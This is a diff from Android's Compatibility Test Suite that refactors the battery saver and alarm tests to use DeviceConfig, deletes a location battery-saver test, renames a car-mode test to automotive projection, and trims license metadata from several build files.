 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library {
     name: "BatterySavingCtsCommon",
     srcs: [
diff --git a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverAlarmTest.java b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverAlarmTest.java
index e4abb12..ca12681 100644
--- a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverAlarmTest.java
+++ b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverAlarmTest.java
@@ -22,7 +22,6 @@
 import static com.android.compatibility.common.util.AmUtils.runMakeUidIdle;
 import static com.android.compatibility.common.util.BatteryUtils.enableBatterySaver;
 import static com.android.compatibility.common.util.BatteryUtils.runDumpsysBatteryUnplug;
-import static com.android.compatibility.common.util.SettingsUtils.putGlobalSetting;
 import static com.android.compatibility.common.util.TestUtils.waitUntil;
 
 import static org.junit.Assert.assertEquals;
@@ -41,16 +40,19 @@
 import android.os.cts.batterysaving.common.BatterySavingCtsCommon.Payload.TestServiceRequest.SetAlarmRequest;
 import android.os.cts.batterysaving.common.BatterySavingCtsCommon.Payload.TestServiceRequest.StartServiceRequest;
 import android.os.cts.batterysaving.common.Values;
+import android.provider.DeviceConfig;
 import android.util.Log;
 
 import androidx.test.filters.LargeTest;
 import androidx.test.filters.MediumTest;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.DeviceConfigStateHelper;
 import com.android.compatibility.common.util.ThreadUtils;
 
 import org.junit.After;
 import org.junit.Before;
+import org.junit.Ignore;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -76,16 +78,19 @@
     private static final long ALLOW_WHILE_IDLE_LONG_TIME = 20_000;
     private static final long MIN_FUTURITY = 2_000;
 
-    private void updateAlarmManagerConstants() throws IOException {
-        putGlobalSetting("alarm_manager_constants",
-                "min_interval=" + MIN_REPEATING_INTERVAL + ","
-                + "min_futurity=" + MIN_FUTURITY + ","
-                + "allow_while_idle_short_time=" + ALLOW_WHILE_IDLE_SHORT_TIME + ","
-                + "allow_while_idle_long_time=" + ALLOW_WHILE_IDLE_LONG_TIME);
+    private void updateAlarmManagerConstants() {
+        mAlarmManagerDeviceConfigStateHelper.set("min_interval",
+                String.valueOf(MIN_REPEATING_INTERVAL));
+        mAlarmManagerDeviceConfigStateHelper.set("min_futurity",
+                String.valueOf(MIN_FUTURITY));
+        mAlarmManagerDeviceConfigStateHelper.set("allow_while_idle_short_time",
+                String.valueOf(ALLOW_WHILE_IDLE_SHORT_TIME));
+        mAlarmManagerDeviceConfigStateHelper.set("allow_while_idle_long_time",
+                String.valueOf(ALLOW_WHILE_IDLE_LONG_TIME));
     }
 
-    private void resetAlarmManagerConstants() throws IOException {
-        putGlobalSetting("alarm_manager_constants", "null");
+    private void resetAlarmManagerConstants() {
+        mAlarmManagerDeviceConfigStateHelper.restoreOriginalValues();
     }
 
     // Use a different broadcast action every time.
@@ -101,6 +106,9 @@
         }
     };
 
+    private final DeviceConfigStateHelper mAlarmManagerDeviceConfigStateHelper =
+            new DeviceConfigStateHelper(DeviceConfig.NAMESPACE_ALARM_MANAGER);
+
     @Before
     public void setUp() throws IOException {
         updateAlarmManagerConstants();
@@ -177,6 +185,7 @@
 
     @LargeTest
     @Test
+    @Ignore("Broken until b/171306433 is completed")
     public void testAllowWhileIdleThrottled() throws Exception {
         final String targetPackage = APP_25_PACKAGE;
 
diff --git a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverLocationTest.java b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverLocationTest.java
index e7a3272..e69de29 100644
--- a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverLocationTest.java
+++ b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverLocationTest.java
@@ -1,337 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.os.cts.batterysaving;
-
-import static android.provider.Settings.Global.BATTERY_SAVER_CONSTANTS;
-import static android.provider.Settings.Secure.LOCATION_MODE_OFF;
-
-import static androidx.test.InstrumentationRegistry.getInstrumentation;
-
-import static com.android.compatibility.common.util.BatteryUtils.enableBatterySaver;
-import static com.android.compatibility.common.util.BatteryUtils.runDumpsysBatteryUnplug;
-import static com.android.compatibility.common.util.BatteryUtils.turnOnScreen;
-import static com.android.compatibility.common.util.TestUtils.waitUntil;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotEquals;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.app.UiModeManager;
-import android.content.IntentFilter;
-import android.content.pm.PackageManager;
-import android.location.Criteria;
-import android.location.Location;
-import android.location.LocationListener;
-import android.location.LocationManager;
-import android.location.LocationProvider;
-import android.location.LocationRequest;
-import android.os.Bundle;
-import android.os.Looper;
-import android.os.PowerManager;
-import android.os.Process;
-import android.provider.Settings;
-import android.provider.Settings.Global;
-import android.provider.Settings.Secure;
-
-import androidx.test.filters.MediumTest;
-import androidx.test.runner.AndroidJUnit4;
-
-import com.android.compatibility.common.util.CallbackAsserter;
-import com.android.compatibility.common.util.LocationUtils;
-import com.android.compatibility.common.util.RequiredFeatureRule;
-import com.android.compatibility.common.util.SettingsUtils;
-import com.android.compatibility.common.util.TestUtils.RunnableWithThrow;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Rule;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.List;
-
-/**
- * Tests related to battery saver:
- * atest android.os.cts.batterysaving.BatterySaverLocationTest
- */
-@MediumTest
-@RunWith(AndroidJUnit4.class)
-public class BatterySaverLocationTest extends BatterySavingTestBase {
-    private static final String TAG = "BatterySaverLocationTest";
-
-    private static final String TEST_PROVIDER_NAME = "test_provider";
-
-    @Rule
-    public final RequiredFeatureRule mRequireLocationRule =
-            new RequiredFeatureRule(PackageManager.FEATURE_LOCATION);
-
-    @Rule
-    public final RequiredFeatureRule mRequireLocationGpsRule =
-            new RequiredFeatureRule(PackageManager.FEATURE_LOCATION_GPS);
-
-    private LocationManager mLocationManager;
-
-    private static class TestLocationListener implements LocationListener {
-        @Override
-        public void onLocationChanged(Location location) {
-
-        }
-
-        @Override
-        public void onStatusChanged(String provider, int status, Bundle extras) {
-
-        }
-
-        @Override
-        public void onProviderEnabled(String provider) {
-
-        }
-
-        @Override
-        public void onProviderDisabled(String provider) {
-            fail("Provider disabled");
-        }
-    }
-
-    @Before
-    public void setUp() throws Exception {
-        LocationUtils.registerMockLocationProvider(getInstrumentation(), true);
-        mLocationManager = getLocationManager();
-
-        // remove test provider if left over from an aborted run
-        LocationProvider lp = mLocationManager.getProvider(TEST_PROVIDER_NAME);
-        if (lp != null) {
-            mLocationManager.removeTestProvider(TEST_PROVIDER_NAME);
-        }
-
-        SettingsUtils.set(SettingsUtils.NAMESPACE_GLOBAL,
-                Settings.Global.LOCATION_IGNORE_SETTINGS_PACKAGE_WHITELIST,
-                "android.os.cts.batterysaving");
-
-        getContext().getSystemService(UiModeManager.class).disableCarMode(0);
-    }
-
-    @After
-    public void tearDown() throws Exception {
-        LocationUtils.registerMockLocationProvider(getInstrumentation(), false);
-        SettingsUtils.set(SettingsUtils.NAMESPACE_GLOBAL,
-                Settings.Global.LOCATION_IGNORE_SETTINGS_PACKAGE_WHITELIST,
-                "");
-    }
-
-    private boolean areOnlyIgnoreSettingsRequestsSentToProvider() {
-        List<LocationRequest> requests =
-                mLocationManager.getTestProviderCurrentRequests(TEST_PROVIDER_NAME);
-        for (LocationRequest request : requests) {
-            if (!request.isLocationSettingsIgnored()) {
-                return false;
-            }
-        }
-        return true;
-    }
-
-    /**
-     * Test for the {@link PowerManager#LOCATION_MODE_ALL_DISABLED_WHEN_SCREEN_OFF} mode.
-     */
-    @Test
-    public void testLocationAllDisabled() throws Exception {
-        assertTrue("Screen is off", getPowerManager().isInteractive());
-
-        assertFalse(getPowerManager().isPowerSaveMode());
-        assertEquals(PowerManager.LOCATION_MODE_NO_CHANGE,
-                getPowerManager().getLocationPowerSaveMode());
-
-        assertEquals(0, getLocationGlobalKillSwitch());
-
-        SettingsUtils.set(SettingsUtils.NAMESPACE_GLOBAL, BATTERY_SAVER_CONSTANTS, "gps_mode=2");
-        assertNotEquals(LOCATION_MODE_OFF, getLocationMode());
-        assertTrue(getLocationManager().isLocationEnabled());
-
-        // Unplug the charger and activate battery saver.
-        runDumpsysBatteryUnplug();
-        enableBatterySaver(true);
-
-        // Skip if the location mode is not what's expected.
-        final int mode = getPowerManager().getLocationPowerSaveMode();
-        if (mode != PowerManager.LOCATION_MODE_ALL_DISABLED_WHEN_SCREEN_OFF) {
-            fail("Unexpected location power save mode (" + mode + ").");
-        }
-
-        // Make sure screen is on.
-        assertTrue(getPowerManager().isInteractive());
-
-        // Make sure the kill switch is still off.
-        assertEquals(0, getLocationGlobalKillSwitch());
-
-        // Make sure location is still enabled.
-        assertNotEquals(LOCATION_MODE_OFF, getLocationMode());
-        assertTrue(getLocationManager().isLocationEnabled());
-
-        // Turn screen off.
-        runWithExpectingLocationCallback(() -> {
-            turnOnScreen(false);
-            waitUntil("Kill switch still off", () -> getLocationGlobalKillSwitch() == 1);
-            assertEquals(LOCATION_MODE_OFF, getLocationMode());
-            assertFalse(getLocationManager().isLocationEnabled());
-        });
-
-        // On again.
-        runWithExpectingLocationCallback(() -> {
-            turnOnScreen(true);
-            waitUntil("Kill switch still off", () -> getLocationGlobalKillSwitch() == 0);
-            assertNotEquals(LOCATION_MODE_OFF, getLocationMode());
-            assertTrue(getLocationManager().isLocationEnabled());
-        });
-
-        // Off again.
-        runWithExpectingLocationCallback(() -> {
-            turnOnScreen(false);
-            waitUntil("Kill switch still off", () -> getLocationGlobalKillSwitch() == 1);
-            assertEquals(LOCATION_MODE_OFF, getLocationMode());
-            assertFalse(getLocationManager().isLocationEnabled());
-        });
-
-        // Disable battery saver and make sure the kill swtich is off.
-        runWithExpectingLocationCallback(() -> {
-            enableBatterySaver(false);
-            waitUntil("Kill switch still on", () -> getLocationGlobalKillSwitch() == 0);
-            assertNotEquals(LOCATION_MODE_OFF, getLocationMode());
-            assertTrue(getLocationManager().isLocationEnabled());
-        });
-    }
-
-    private int getLocationGlobalKillSwitch() {
-        return Global.getInt(getContext().getContentResolver(),
-                Global.LOCATION_GLOBAL_KILL_SWITCH, 0);
-    }
-
-    private int getLocationMode() {
-        return Secure.getInt(getContext().getContentResolver(), Secure.LOCATION_MODE, 0);
-    }
-
-    private void runWithExpectingLocationCallback(RunnableWithThrow r) throws Exception {
-        CallbackAsserter locationModeBroadcastAsserter = CallbackAsserter.forBroadcast(
-                new IntentFilter(LocationManager.MODE_CHANGED_ACTION));
-        CallbackAsserter locationModeObserverAsserter = CallbackAsserter.forContentUri(
-                Settings.Secure.getUriFor(Settings.Secure.LOCATION_MODE));
-
-        r.run();
-
-        locationModeBroadcastAsserter.assertCalled("Broadcast not received",
-                DEFAULT_TIMEOUT_SECONDS);
-        locationModeObserverAsserter.assertCalled("Observer not notified",
-                DEFAULT_TIMEOUT_SECONDS);
-    }
-
-    /**
-     * Test for the {@link PowerManager#LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF} mode.
-     */
-    @Test
-    public void testLocationRequestThrottling() throws Exception {
-        mLocationManager.addTestProvider(TEST_PROVIDER_NAME,
-                true, //requiresNetwork,
-                false, // requiresSatellite,
-                false,  // requiresCell,
-                false, // hasMonetaryCost,
-                true, // supportsAltitude,
-                false, // supportsSpeed,
-                true, // supportsBearing,
-                Criteria.POWER_MEDIUM, // powerRequirement
-                Criteria.ACCURACY_FINE); // accuracy
-        mLocationManager.setTestProviderEnabled(TEST_PROVIDER_NAME, true);
-
-        LocationRequest normalLocationRequest = LocationRequest.create()
-                .setExpireIn(300_000)
-                .setFastestInterval(0)
-                .setInterval(0)
-                .setLocationSettingsIgnored(false)
-                .setProvider(TEST_PROVIDER_NAME)
-                .setQuality(LocationRequest.ACCURACY_FINE);
-        LocationRequest ignoreSettingsLocationRequest = LocationRequest.create()
-                .setExpireIn(300_000)
-                .setFastestInterval(0)
-                .setInterval(0)
-                .setLocationSettingsIgnored(true)
-                .setProvider(TEST_PROVIDER_NAME)
-                .setQuality(LocationRequest.ACCURACY_FINE);
-        mLocationManager.requestLocationUpdates(
-                normalLocationRequest, new TestLocationListener(), Looper.getMainLooper());
-        mLocationManager.requestLocationUpdates(
-                ignoreSettingsLocationRequest, new TestLocationListener(), Looper.getMainLooper());
-        assertTrue("Not enough requests sent to provider",
-                mLocationManager.getTestProviderCurrentRequests(TEST_PROVIDER_NAME).size() >= 2);
-        assertFalse("Normal priority requests not sent to provider",
-                areOnlyIgnoreSettingsRequestsSentToProvider());
-
-        assertTrue("Screen is off", getPowerManager().isInteractive());
-
-        SettingsUtils.set(SettingsUtils.NAMESPACE_GLOBAL, BATTERY_SAVER_CONSTANTS, "gps_mode=4");
-        assertFalse(getPowerManager().isPowerSaveMode());
-        assertEquals(PowerManager.LOCATION_MODE_NO_CHANGE,
-                getPowerManager().getLocationPowerSaveMode());
-
-        // Make sure location is enabled.
-        getLocationManager().setLocationEnabledForUser(true, Process.myUserHandle());
-        assertTrue(getLocationManager().isLocationEnabled());
-
-        // Unplug the charger and activate battery saver.
-        runDumpsysBatteryUnplug();
-        enableBatterySaver(true);
-
-        // Skip if the location mode is not what's expected.
-        final int mode = getPowerManager().getLocationPowerSaveMode();
-        if (mode != PowerManager.LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF) {
-            fail("Unexpected location power save mode (" + mode + "), skipping.");
-        }
-
-        // Make sure screen is on.
-        assertTrue(getPowerManager().isInteractive());
-
-        // Make sure location is still enabled.
-        assertTrue(getLocationManager().isLocationEnabled());
-
-        // Turn screen off.
-        turnOnScreen(false);
-        waitUntil("Normal location request still sent to provider",
-                this::areOnlyIgnoreSettingsRequestsSentToProvider);
-        assertTrue("Not enough requests sent to provider",
-                mLocationManager.getTestProviderCurrentRequests(TEST_PROVIDER_NAME).size() >= 1);
-
-        // On again.
-        turnOnScreen(true);
-        waitUntil("Normal location request not sent to provider",
-                () -> !areOnlyIgnoreSettingsRequestsSentToProvider());
-        assertTrue("Not enough requests sent to provider",
-                mLocationManager.getTestProviderCurrentRequests(TEST_PROVIDER_NAME).size() >= 2);
-
-        // Off again.
-        turnOnScreen(false);
-        waitUntil("Normal location request still sent to provider",
-                this::areOnlyIgnoreSettingsRequestsSentToProvider);
-        assertTrue("Not enough requests sent to provider",
-                mLocationManager.getTestProviderCurrentRequests(TEST_PROVIDER_NAME).size() >= 1);
-
-
-        // Disable battery saver and make sure the kill switch is off.
-        enableBatterySaver(false);
-        waitUntil("Normal location request not sent to provider",
-                () -> !areOnlyIgnoreSettingsRequestsSentToProvider());
-        assertTrue("Not enough requests sent to provider",
-                mLocationManager.getTestProviderCurrentRequests(TEST_PROVIDER_NAME).size() >= 2);
-    }
-}
diff --git a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverTest.java b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverTest.java
index bb50071..2b35684 100644
--- a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverTest.java
+++ b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverTest.java
@@ -18,6 +18,7 @@
 import static com.android.compatibility.common.util.BatteryUtils.enableBatterySaver;
 import static com.android.compatibility.common.util.BatteryUtils.runDumpsysBatteryUnplug;
 import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
 import static com.android.compatibility.common.util.TestUtils.waitUntil;
 
 import static junit.framework.Assert.fail;
@@ -26,31 +27,42 @@
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 
+import android.Manifest;
 import android.app.UiModeManager;
 import android.content.res.Configuration;
 import android.os.PowerManager;
+import android.provider.DeviceConfig;
 
 import androidx.test.filters.MediumTest;
 import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.BatteryUtils;
+import com.android.compatibility.common.util.DeviceConfigStateHelper;
 import com.android.compatibility.common.util.SettingsUtils;
-import com.android.compatibility.common.util.SystemUtil;
 
+import org.junit.After;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 /**
- * Tests related to battery saver:
+ * Tests related to battery saver.
  *
- * atest $ANDROID_BUILD_TOP/cts/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverTest.java
+ * atest CtsBatterySavingTestCases:BatterySaverTest
  */
 @MediumTest
 @RunWith(AndroidJUnit4.class)
 public class BatterySaverTest extends BatterySavingTestBase {
+    private DeviceConfigStateHelper mDeviceConfigStateHelper =
+            new DeviceConfigStateHelper(DeviceConfig.NAMESPACE_BATTERY_SAVER);
+
+    @After
+    public void tearDown() {
+        mDeviceConfigStateHelper.restoreOriginalValues();
+        SettingsUtils.delete(SettingsUtils.NAMESPACE_GLOBAL, "battery_saver_constants");
+    }
+
     /**
      * Enable battery saver and make sure the relevant components get notifed.
-     * @throws Exception
      */
     @Test
     public void testActivateBatterySaver() throws Exception {
@@ -82,14 +94,15 @@
     }
 
     @Test
-    public void testSetBatterySaver_powerManager() {
-        SystemUtil.runWithShellPermissionIdentity(() -> {
+    public void testSetBatterySaver_powerManager() throws Exception {
+        enableBatterySaver(false);
+
+        runWithShellPermissionIdentity(() -> {
             PowerManager manager = BatteryUtils.getPowerManager();
             assertFalse(manager.isPowerSaveMode());
 
             // Unplug the charger.
             runDumpsysBatteryUnplug();
-            Thread.sleep(1000);
             // Verify battery saver gets toggled.
             manager.setPowerSaveModeEnabled(true);
             assertTrue(manager.isPowerSaveMode());
@@ -99,9 +112,9 @@
         });
     }
 
-    /** Tests that Battery Saver exemptions activate when car mode is active. */
+    /** Tests that Battery Saver exemptions activate when automotive projection is active. */
     @Test
-    public void testCarModeExceptions() throws Exception {
+    public void testAutomotiveProjectionExceptions() throws Exception {
         final String nightModeText = runShellCommand("cmd uimode night");
         final String[] nightModeSplit = nightModeText.split(":");
         if (nightModeSplit.length != 2) {
@@ -110,7 +123,9 @@
         final String initialNightMode = nightModeSplit[1].trim();
         runShellCommand("cmd uimode night no");
         UiModeManager uiModeManager = getContext().getSystemService(UiModeManager.class);
-        uiModeManager.disableCarMode(0);
+        runWithShellPermissionIdentity(() ->
+                        uiModeManager.releaseProjection(UiModeManager.PROJECTION_TYPE_AUTOMOTIVE),
+                Manifest.permission.TOGGLE_AUTOMOTIVE_PROJECTION);
 
         final PowerManager powerManager = BatteryUtils.getPowerManager();
 
@@ -118,21 +133,26 @@
             runDumpsysBatteryUnplug();
 
             SettingsUtils.set(SettingsUtils.NAMESPACE_GLOBAL, "battery_saver_constants",
-                    "gps_mode=" + PowerManager.LOCATION_MODE_ALL_DISABLED_WHEN_SCREEN_OFF
-                    + ",enable_night_mode=true");
+                    "location_mode=" + PowerManager.LOCATION_MODE_ALL_DISABLED_WHEN_SCREEN_OFF
+                            + ",enable_night_mode=true");
 
             enableBatterySaver(true);
 
             assertTrue(powerManager.isPowerSaveMode());
-            assertEquals(PowerManager.LOCATION_MODE_ALL_DISABLED_WHEN_SCREEN_OFF,
-                    powerManager.getLocationPowerSaveMode());
+            // Updating based on the settings change may take some time.
+            waitUntil("Location mode didn't change to "
+                            + PowerManager.LOCATION_MODE_ALL_DISABLED_WHEN_SCREEN_OFF,
+                    () -> PowerManager.LOCATION_MODE_ALL_DISABLED_WHEN_SCREEN_OFF ==
+                            powerManager.getLocationPowerSaveMode());
             // UI change can take a while to propagate, so need to wait for this check.
             waitUntil("UI mode didn't change to " + Configuration.UI_MODE_NIGHT_YES,
                     () -> Configuration.UI_MODE_NIGHT_YES ==
                             (getContext().getResources().getConfiguration().uiMode
                                     & Configuration.UI_MODE_NIGHT_MASK));
 
-            uiModeManager.enableCarMode(0);
+            assertTrue(runWithShellPermissionIdentity(
+                    () -> uiModeManager.requestProjection(UiModeManager.PROJECTION_TYPE_AUTOMOTIVE),
+                    Manifest.permission.TOGGLE_AUTOMOTIVE_PROJECTION));
 
             // Wait for UI change first before checking location mode since we can then be
             // confident that the broadcast has been processed.
@@ -140,12 +160,15 @@
                     () -> Configuration.UI_MODE_NIGHT_NO ==
                             (getContext().getResources().getConfiguration().uiMode
                                     & Configuration.UI_MODE_NIGHT_MASK));
+            // Check location mode after we know battery saver changes have propagated fully.
             final int locationPowerSaveMode = powerManager.getLocationPowerSaveMode();
             assertTrue("Location power save mode didn't change from " + locationPowerSaveMode,
                     locationPowerSaveMode == PowerManager.LOCATION_MODE_FOREGROUND_ONLY
                             || locationPowerSaveMode == PowerManager.LOCATION_MODE_NO_CHANGE);
 
-            uiModeManager.disableCarMode(0);
+            assertTrue(runWithShellPermissionIdentity(
+                    () -> uiModeManager.releaseProjection(UiModeManager.PROJECTION_TYPE_AUTOMOTIVE),
+                    Manifest.permission.TOGGLE_AUTOMOTIVE_PROJECTION));
 
             // Wait for UI change first before checking location mode since we can then be
             // confident that the broadcast has been processed.
@@ -153,12 +176,107 @@
                     () -> Configuration.UI_MODE_NIGHT_YES ==
                             (getContext().getResources().getConfiguration().uiMode
                                     & Configuration.UI_MODE_NIGHT_MASK));
+            // Check location mode after we know battery saver changes have propagated fully.
             assertEquals(PowerManager.LOCATION_MODE_ALL_DISABLED_WHEN_SCREEN_OFF,
-                powerManager.getLocationPowerSaveMode());
+                    powerManager.getLocationPowerSaveMode());
         } finally {
-            uiModeManager.disableCarMode(0);
+            runWithShellPermissionIdentity(
+                    () -> uiModeManager.releaseProjection(UiModeManager.PROJECTION_TYPE_AUTOMOTIVE),
+                    Manifest.permission.TOGGLE_AUTOMOTIVE_PROJECTION);
+
             runShellCommand("cmd uimode night " + initialNightMode);
             SettingsUtils.delete(SettingsUtils.NAMESPACE_GLOBAL, "battery_saver_constants");
         }
     }
+
+    @Test
+    public void testGlobalSettings() throws Exception {
+        runDumpsysBatteryUnplug();
+        enableBatterySaver(true);
+        final PowerManager powerManager = BatteryUtils.getPowerManager();
+
+        SettingsUtils.set(SettingsUtils.NAMESPACE_GLOBAL, "battery_saver_constants",
+                "location_mode=" + PowerManager.LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF
+                        + ",enable_night_mode=true");
+        assertTrue(powerManager.isPowerSaveMode());
+        // Updating based on the settings change may take some time.
+        waitUntil("Location mode didn't change to "
+                        + PowerManager.LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF,
+                () -> PowerManager.LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF ==
+                        powerManager.getLocationPowerSaveMode());
+        // UI change can take a while to propagate, so need to wait for this check.
+        waitUntil("UI mode didn't change to " + Configuration.UI_MODE_NIGHT_YES,
+                () -> Configuration.UI_MODE_NIGHT_YES ==
+                        (getContext().getResources().getConfiguration().uiMode
+                                & Configuration.UI_MODE_NIGHT_MASK));
+    }
+
+    @Test
+    public void testDeviceConfig() throws Exception {
+        runDumpsysBatteryUnplug();
+        enableBatterySaver(true);
+        final PowerManager powerManager = BatteryUtils.getPowerManager();
+
+        mDeviceConfigStateHelper.set("location_mode",
+                String.valueOf(PowerManager.LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF));
+        mDeviceConfigStateHelper.set("enable_night_mode", "true");
+
+        assertTrue(powerManager.isPowerSaveMode());
+        // Updating based on DeviceConfig change may take some time.
+        waitUntil("Location mode didn't change to "
+                        + PowerManager.LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF,
+                () -> PowerManager.LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF ==
+                        powerManager.getLocationPowerSaveMode());
+        // UI change can take a while to propagate, so need to wait for this check.
+        waitUntil("UI mode didn't change to " + Configuration.UI_MODE_NIGHT_YES,
+                () -> Configuration.UI_MODE_NIGHT_YES ==
+                        (getContext().getResources().getConfiguration().uiMode
+                                & Configuration.UI_MODE_NIGHT_MASK));
+    }
+
+    @Test
+    public void testGlobalSettingsOverridesDeviceConfig() throws Exception {
+        runDumpsysBatteryUnplug();
+        enableBatterySaver(true);
+        final PowerManager powerManager = BatteryUtils.getPowerManager();
+
+        mDeviceConfigStateHelper.set("location_mode",
+                String.valueOf(PowerManager.LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF));
+        mDeviceConfigStateHelper.set("enable_night_mode", "true");
+
+        assertTrue(powerManager.isPowerSaveMode());
+        // Updating constants may take some time.
+        waitUntil("Location mode didn't change to "
+                        + PowerManager.LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF,
+                () -> PowerManager.LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF ==
+                        powerManager.getLocationPowerSaveMode());
+        // UI change can take a while to propagate, so need to wait for this check.
+        waitUntil("UI mode didn't change to " + Configuration.UI_MODE_NIGHT_YES,
+                () -> Configuration.UI_MODE_NIGHT_YES ==
+                        (getContext().getResources().getConfiguration().uiMode
+                                & Configuration.UI_MODE_NIGHT_MASK));
+
+        SettingsUtils.set(SettingsUtils.NAMESPACE_GLOBAL, "battery_saver_constants",
+                "location_mode=" + PowerManager.LOCATION_MODE_FOREGROUND_ONLY
+                        + ",enable_night_mode=false");
+        waitUntil("UI mode didn't change to " + Configuration.UI_MODE_NIGHT_NO,
+                () -> Configuration.UI_MODE_NIGHT_NO ==
+                        (getContext().getResources().getConfiguration().uiMode
+                                & Configuration.UI_MODE_NIGHT_MASK));
+        // Updating constants may take some time.
+        waitUntil("Location mode didn't change to " + PowerManager.LOCATION_MODE_FOREGROUND_ONLY,
+                () -> PowerManager.LOCATION_MODE_FOREGROUND_ONLY ==
+                        powerManager.getLocationPowerSaveMode());
+
+        SettingsUtils.delete(SettingsUtils.NAMESPACE_GLOBAL, "battery_saver_constants");
+        waitUntil("UI mode didn't change to " + Configuration.UI_MODE_NIGHT_YES,
+                () -> Configuration.UI_MODE_NIGHT_YES ==
+                        (getContext().getResources().getConfiguration().uiMode
+                                & Configuration.UI_MODE_NIGHT_MASK));
+        // Updating constants may take some time.
+        waitUntil("Location mode didn't change to "
+                        + PowerManager.LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF,
+                () -> PowerManager.LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF ==
+                        powerManager.getLocationPowerSaveMode());
+    }
 }
diff --git a/tests/tests/binder_ndk/Android.bp b/tests/tests/binder_ndk/Android.bp
index 89dcff4..3265442 100644
--- a/tests/tests/binder_ndk/Android.bp
+++ b/tests/tests/binder_ndk/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsNdkBinderTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp b/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp
index 095d560..7ff1515 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 filegroup {
     name: "libbinder_ndk_compat_test_interface_srcs",
     srcs: [
diff --git a/tests/tests/bionic/Android.mk b/tests/tests/bionic/Android.mk
index 09c5519..0bb59ff 100644
--- a/tests/tests/bionic/Android.mk
+++ b/tests/tests/bionic/Android.mk
@@ -2,8 +2,6 @@
 
 include $(CLEAR_VARS)
 LOCAL_MODULE := CtsBionicTestCases
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA)/nativetest
 LOCAL_MULTILIB := both
 LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
diff --git a/tests/tests/bionic_app/Android.bp b/tests/tests/bionic_app/Android.bp
index bde208e..03fca22 100644
--- a/tests/tests/bionic_app/Android.bp
+++ b/tests/tests/bionic_app/Android.bp
@@ -1,7 +1,3 @@
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test_library {
     name: "libbionic_app_jni",
     sdk_version: "current",
diff --git a/tests/tests/bluetooth/Android.bp b/tests/tests/bluetooth/Android.bp
index 8ce7efb..a99a09e 100644
--- a/tests/tests/bluetooth/Android.bp
+++ b/tests/tests/bluetooth/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsBluetoothTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/bluetooth/TEST_MAPPING b/tests/tests/bluetooth/TEST_MAPPING
new file mode 100644
index 0000000..f349b92
--- /dev/null
+++ b/tests/tests/bluetooth/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsBluetoothTestCases"
+    }
+  ]
+}
